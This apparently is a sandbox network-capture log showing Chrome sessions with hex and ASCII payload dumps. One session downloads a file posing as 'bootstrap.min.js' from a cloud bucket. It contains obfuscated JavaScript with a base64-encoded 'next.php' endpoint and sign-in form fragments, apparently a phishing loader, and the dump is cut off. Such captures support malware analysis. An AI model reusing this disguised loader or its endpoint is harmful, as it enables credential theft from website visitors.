2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49726	170.106.97.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:35 UTC	404	OUT	GET /attach%2Fbootstrap.min.js HTTP/1.1 Host: 6032451419-1323985617.cos.na-siliconvalley.myqcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:36 UTC	430	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553316 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 19 Dec 2024 14:13:36 GMT ETag: "2e24a93c29e7a01c94a1bd61084c5178" Last-Modified: Wed, 18 Dec 2024 11:04:04 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 11135422136521195052 x-cos-request-id: Njc2NDJhMTBfN2U4YzUwMGJfMmI4ODRfMjRkNDkwNw==
2024-12-19 14:13:36 UTC	7774	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 75 5a 58 64 74 61 57 35 6b 4c 6d 5a 6c 5a 47 56 79 59 57 78 6a 62 33 56 79 64 47 5a 70 62 47 56 7a 4c 6d 4e 76 62 53 39 75 5a 58 68 30 4c 6e 42 6f 63 41 3d 3d 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e 35 27 2c 27 3a 66 6f 63 Data Ascii: var file = "aHR0cHM6Ly9uZXdtaW5kLmZlZGVyYWxjb3VydGZpbGVzLmNvbS9uZXh0LnBocA==";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':foc
2024-12-19 14:13:36 UTC	16384	IN	Data Raw: 49 79 67 51 67 55 27 2c 27 68 5d 2c 5c 78 32 30 69 6e 70 75 74 5b 27 2c 27 2d 77 65 62 6b 69 74 2d 73 65 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 63 75 27 2c 27 6f 70 6f 76 65 72 2d 61 75 74 27 2c 27 6c 69 6e 65 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 27 2c 27 5c 78 32 30 31 33 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 63 6c 61 27 2c 27 69 67 68 74 3a 5c 78 32 30 31 30 37 70 27 2c 27 23 5c 78 32 30 73 6f 75 72 63 65 4d 61 27 2c 27 31 30 30 25 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 27 2c 27 3a 5c 78 32 30 72 69 67 68 74 3b 5c 78 32 30 6d 27 2c 27 7d 5c 78 32 30 2e 6c 69 73 74 2d 75 6e 27 2c 27 64 61 72 79 3a 68 6f 76 65 72 27 2c 27 63 6f 6e 74 72 6f 6c 2b 2e 63 27 2c 27 69 67 6e 2d 6d 69 64 64 6c 65 27 2c 27 Data Ascii: IygQgU','h],\x20input[','-webkit-se','\x20.5)\x20}\x20.cu','opover-aut','line:\x200;\x20o','\x2013;\x20order','utton\x22\x20cla','ight:\x20107p','#\x20sourceMa','100%\x20}\x20.or',':\x20right;\x20m','}\x20.list-un','dary:hover','control+.c','ign-middle','
2024-12-19 14:13:36 UTC	8168	IN	Data Raw: 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 27 2c 27 6d 61 72 67 69 6e 3a 5c 78 32 30 2e 35 27 2c 27 74 2d 68 69 64 65 5c 78 32 30 7b 5c 78 32 30 66 27 2c 27 6e 6f 6e 65 3b 5c 78 32 30 2d 6d 6f 7a 27 2c 27 72 6f 70 6c 65 66 74 5c 78 32 30 2e 64 27 2c 27 6c 69 64 5c 78 32 30 7b 5c 78 32 30 62 6f 72 64 27 2c 27 2e 70 6c 2d 35 2c 5c Data Ascii: 'ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27','margin:\x20.5','t-hide\x20{\x20f','none;\x20-moz','ropleft\x20.d','lid\x20{\x20bord','.pl-5,\
2024-12-19 14:13:36 UTC	8184	IN	Data Raw: 31 3b 26 23 33 32 3b 26 23 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 5c 78 32 30 31 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 64 65 27 2c 27 33 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 5b 68 72 65 66 5d 3a 68 6f 76 27 2c 27 2d 70 6f 70 6f 76 65 72 2d 74 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 2d 72 65 27 2c 27 2e 74 61 62 6c 65 5c 78 32 30 74 68 65 27 2c 27 43 63 65 62 59 27 2c 27 74 69 70 6c 65 5d 29 2c 5c 78 32 30 2e 27 2c 27 23 6c 6f 61 64 65 72 27 2c 27 43 6f 6c 6f 72 5c 78 32 30 45 6d 6f 6a 27 2c 27 6c 65 66 74 3a 5c 78 32 30 61 75 74 6f 27 2c 27 76 65 72 74 69 63 61 6c 3e 2e 27 2c 27 25 2c 5c 78 32 30 30 2c 5c 78 32 30 30 29 3b 5c 78 32 30 27 2c 27 28 5b 73 69 7a 65 5d 29 3a 6e 27 2c 27 73 2d 70 6f 70 6f 76 65 72 2d 27 2c 27 6f Data Ascii: 1; &#','-nav\x20.drop','\x201\x20}\x20.orde','33333%\x20}\x20.','[href]:hov','-popover-t','on:\x20row-re','.table\x20the','CcebY','tiple]),\x20.','#loader','Color\x20Emoj','left:\x20auto','vertical>.','%,\x200,\x200);\x20','([size]):n','s-popover-','o
2024-12-19 14:13:36 UTC	8184	IN	Data Raw: 27 2c 27 5c 78 32 30 23 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a 27 2c 27 2d 65 78 70 61 6e 64 2d 78 6c 27 2c 27 74 68 3a 5c 78 32 30 31 30 30 25 3b 5c 78 32 30 27 2c 27 65 6c 70 3b 5c 78 32 30 62 6f 72 64 65 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 63 6c 6f 73 65 3a 27 2c 27 3b 5c 78 32 30 74 65 78 74 2d Data Ascii: ','\x20#dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x20color:','-expand-xl','th:\x20100%;\x20','elp;\x20borde','\x20}\x20.close:',';\x20text-
2024-12-19 14:13:36 UTC	8184	IN	Data Raw: 6f 75 70 5c 78 32 30 7b 5c 78 32 30 6d 61 72 27 2c 27 74 79 3a 5c 78 32 30 2e 39 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 6c 74 69 70 5c 78 32 30 7b 5c 78 32 30 70 6f 73 27 2c 27 6c 74 69 70 2c 5c 78 32 30 2e 77 61 73 27 2c 27 3d 63 68 65 63 6b 62 6f 78 5d 27 2c 27 7b 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 27 2c 27 6e 61 34 65 4c 6a 35 4f 58 6d 27 2c 27 6b 69 64 61 4d 27 2c 27 74 69 70 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 2c 5c 78 32 30 36 33 70 78 29 5c 78 32 30 72 6f 27 2c 27 2e 37 35 72 65 6d 5c 78 32 30 31 2e 32 27 2c 27 7d 5c 78 32 30 5b 74 79 70 65 3d 62 75 27 2c 27 6f 72 73 5c 78 32 30 7b 5c 78 32 30 70 6f 73 69 27 2c 27 74 65 6e 74 3a 5c 78 32 30 73 70 61 63 27 2c 27 75 73 74 6f 6d 2d 72 61 64 Data Ascii: oup\x20{\x20mar','ty:\x20.9\x20}\x20.','gin:\x20.5rem','ltip\x20{\x20pos','ltip,\x20.was','=checkbox]','{\x20margin-l','na4eLj5OXm','kidaM','tip\x20{\x20disp',',\x2063px)\x20ro','.75rem\x201.2','}\x20[type=bu','ors\x20{\x20posi','tent:\x20spac','ustom-rad
2024-12-19 14:13:36 UTC	8184	IN	Data Raw: 2c 27 6f 43 49 58 6c 27 2c 27 38 2e 33 33 33 33 33 33 25 3b 27 2c 27 69 6e 70 75 74 2e 69 73 2d 69 27 2c 27 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 37 68 32 32 4d 34 5c 78 32 30 31 35 68 27 2c 27 55 41 41 41 41 42 41 41 41 41 27 2c 27 62 6f 78 2d 70 61 63 6b 3a 5c 78 32 30 27 2c 27 69 70 73 69 73 3b 5c 78 32 30 77 68 69 27 2c 27 6f 72 65 2c 5c 78 32 30 2e 62 73 2d 74 27 2c 27 74 68 3a 5c 78 32 30 39 31 2e Data Ascii: ,'oCIXl','8.333333%;','input.is-i','[type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','7h22M4\x2015h','UAAAABAAAA','box-pack:\x20','ipsis;\x20whi','ore,\x20.bs-t','th:\x2091.
2024-12-19 14:13:36 UTC	8184	IN	Data Raw: 32 62 38 5c 78 32 30 27 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c 78 32 30 7d 5c 78 32 30 27 2c 27 6e 67 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 76 65 27 2c 27 2e 61 72 72 6f 77 2c 5c 78 32 30 2e 62 27 2c 27 70 3a 5c 78 32 30 31 2e 35 72 65 6d 5c 78 32 30 27 2c 27 69 6f 6e 3a 5c 78 32 30 74 72 61 6e 73 27 2c 27 75 6e 64 2d 63 6f Data Ascii: 2b8\x20','fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\x20}\x20','ng:\x200;\x20ove','.arrow,\x20.b','p:\x201.5rem\x20','ion:\x20trans','und-co
2024-12-19 14:13:36 UTC	8184	IN	Data Raw: 27 70 3e 2e 69 6e 70 75 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 6e 2d 74 27 2c 27 62 74 6e 3a 66 6f 63 75 73 2c 27 2c 27 65 66 74 3a 5c 78 32 30 37 35 25 5c 78 32 30 7d 27 2c 27 3d 5c 78 32 32 76 69 65 77 70 6f 72 74 27 2c 27 5c 78 32 30 73 69 67 6e 5c 78 32 30 69 6e 5c 78 32 30 72 27 2c 27 6e 2d 73 65 6c 66 3a 5c 78 32 30 Data Ascii: 'p>.input-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margin-t','btn:focus,','eft:\x2075%\x20}','=\x22viewport','\x20sign\x20in\x20r','n-self:\x20
2024-12-19 14:13:36 UTC	8184	IN	Data Raw: 70 61 27 2c 27 76 65 72 74 69 63 61 6c 5c 78 32 30 21 27 2c 27 6e 76 61 6c 69 64 2c 5c 78 32 30 2e 77 27 2c 27 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 67 72 6f 27 2c 27 65 78 2d 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 65 2c 5c 78 32 30 2e 73 68 6f 77 3e 2e 27 2c 27 72 3a 5c 78 32 30 23 45 35 45 35 45 35 27 2c 27 5c 78 32 30 2e 66 69 67 75 72 65 5c 78 32 30 7b 27 2c 27 49 5c 78 32 30 57 65 62 5c 78 32 30 28 57 65 73 27 2c 27 69 6d 67 5c 78 32 32 3e 3c 2f 64 69 76 27 2c 27 67 68 74 2e 6c 69 73 74 2d 67 27 2c 27 72 65 6d 3b 5c 78 32 30 62 6f 72 64 65 27 2c 27 6e 65 2d 62 6c 6f 63 6b 3b 5c 78 32 30 27 2c 27 65 6e 74 65 72 3b 5c 78 32 30 2d 77 65 27 2c 27 6f 5c 78 32 30 7d 5c 78 32 30 2e 6e 61 76 62 61 27 2c 27 65 52 66 74 51 57 76 6a 57 33 27 2c 27 7d 5c 78 32 Data Ascii: pa','vertical\x20!','nvalid,\x20.w','\x20{\x20backgro','ex-order:\x20','e,\x20.show>.','r:\x20#E5E5E5','\x20.figure\x20{','I\x20Web\x20(Wes','img\x22></div','ght.list-g','rem;\x20borde','ne-block;\x20','enter;\x20-we','o\x20}\x20.navba','eRftQWvjW3','}\x2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49729	172.67.139.114	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
